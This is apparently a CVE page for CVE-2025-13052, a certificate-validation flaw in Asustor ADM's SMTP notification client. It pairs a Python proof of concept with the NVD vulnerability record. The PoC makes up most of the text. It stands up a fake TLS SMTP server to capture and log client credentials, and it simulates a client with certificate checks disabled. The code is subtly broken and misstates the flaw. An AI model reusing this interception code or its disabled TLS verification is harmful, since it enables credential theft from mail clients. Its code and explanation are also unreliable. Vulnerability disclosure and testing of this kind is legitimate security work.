CVE-2025-13052

#!/usr/bin/env python3 """ CVE-2025-13052 PoC - Asustor ADM SMTP MITM Attack Simulation This PoC demonstrates the TLS certificate validation weakness in Asustor ADM SMTP client. Note: This is for educational and authorized testing purposes only. """ import socket import ssl import struct import time def create_fake_smtp_server(): """ Create a fake SMTP server to demonstrate MITM vulnerability. In a real attack, this would be positioned between the client and legitimate server. """ context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) # Using a self-signed certificate - vulnerable system would accept this context.load_cert_chain('attacker_cert.pem', 'attacker_key.pem') # Vulnerable: Not verifying client certificates properly context.verify_mode = ssl.CERT_NONE # This is the weakness! server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind(('0.0.0.0', 465)) server_socket.listen(5) print("[*] Fake SMTP server listening on port 465") print("[*] Accepting connections without proper certificate validation") while True: client_socket, addr = server_socket.accept() print(f"[*] Connection from {addr}") # Handle SMTP communication and capture credentials try: ssl_socket = context.wrap_socket(client_socket, server_side=True) # Read SMTP commands data = ssl_socket.recv(1024) print(f"[*] Received: {data.decode()}") # Log captured data (in real attack, this would be credentials) log_captured_data(data) except Exception as e: print(f"[!] Error: {e}") def log_captured_data(data): """Log captured SMTP communication data""" with open('captured_smtp.log', 'a') as f: f.write(f"{time.ctime()}: {data.decode('utf-8', errors='ignore')}\n") print("[+] Data captured and logged") def simulate_vulnerable_client(): """ Simulate vulnerable Asustor ADM SMTP client behavior. Demonstrates how the client accepts invalid certificates. """ context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) # VULNERABLE: Disabling certificate verification context.check_hostname = False context.verify_mode = ssl.CERT_NONE try: with socket.create_connection(('attacker_server', 465, timeout=10)) as sock: with context.wrap_socket(sock, server_hostname='smtp.example.com') as ssock: print("[*] Connection established (VULNERABLE - no cert verification)") print(f"[*] Server certificate: {ssock.getpeercert()}") # Send authentication (will be captured by MITM) ssock.send(b"AUTH LOGIN\r\n") ssock.send(b"\r\n") # Username ssock.send(b"\r\n") # Password except Exception as e: print(f"[!] Connection failed: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-13052 PoC - Asustor ADM SMTP TLS Validation Flaw") print("=" * 60) print("[!] WARNING: For authorized testing only") print("[*] This PoC demonstrates the MITM vulnerability in SMTP TLS handling")

{"cve": {"id": "CVE-2025-13052", "sourceIdentifier": "[email protected]", "published": "2025-12-12T03:15:50.070", "lastModified": "2026-01-28T14:53:53.883", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When the user set the Notification's sender to send emails to the SMTP server via msmtp, an improper validated TLS/SSL certificates allows an attacker who can intercept network traffic between the SMTP client and server to execute a man-in-the-middle (MITM) attack, which may obtain the sensitive information of the SMTP.\n\nAffected products and versions include: from ADM 4.1.0 through ADM 4.3.3.RKD2 as well as from ADM 5.0.0 through ADM 5.1.0.RN42."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:asustor:data_master:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.1.0.RHU2", "versionEndExcluding": "4.3.3.ROF1", "matchCriteriaId": "36FDF2DA-A9E9-4BC6-BC65-97C877697359"}, {"vulnerable": true, "criteria": "cpe:2.3:o:asustor:data_master:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0.ra82", "versionEndExcluding": "5.1.1.RCI1", "matchCriteriaId": "9EAB743A-59CB-48AD-9CA0-9C3B714B83E5"}]}]}], "references": [{"url": "https://www.asustor.com/security/security_advisory_detail?id=49", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}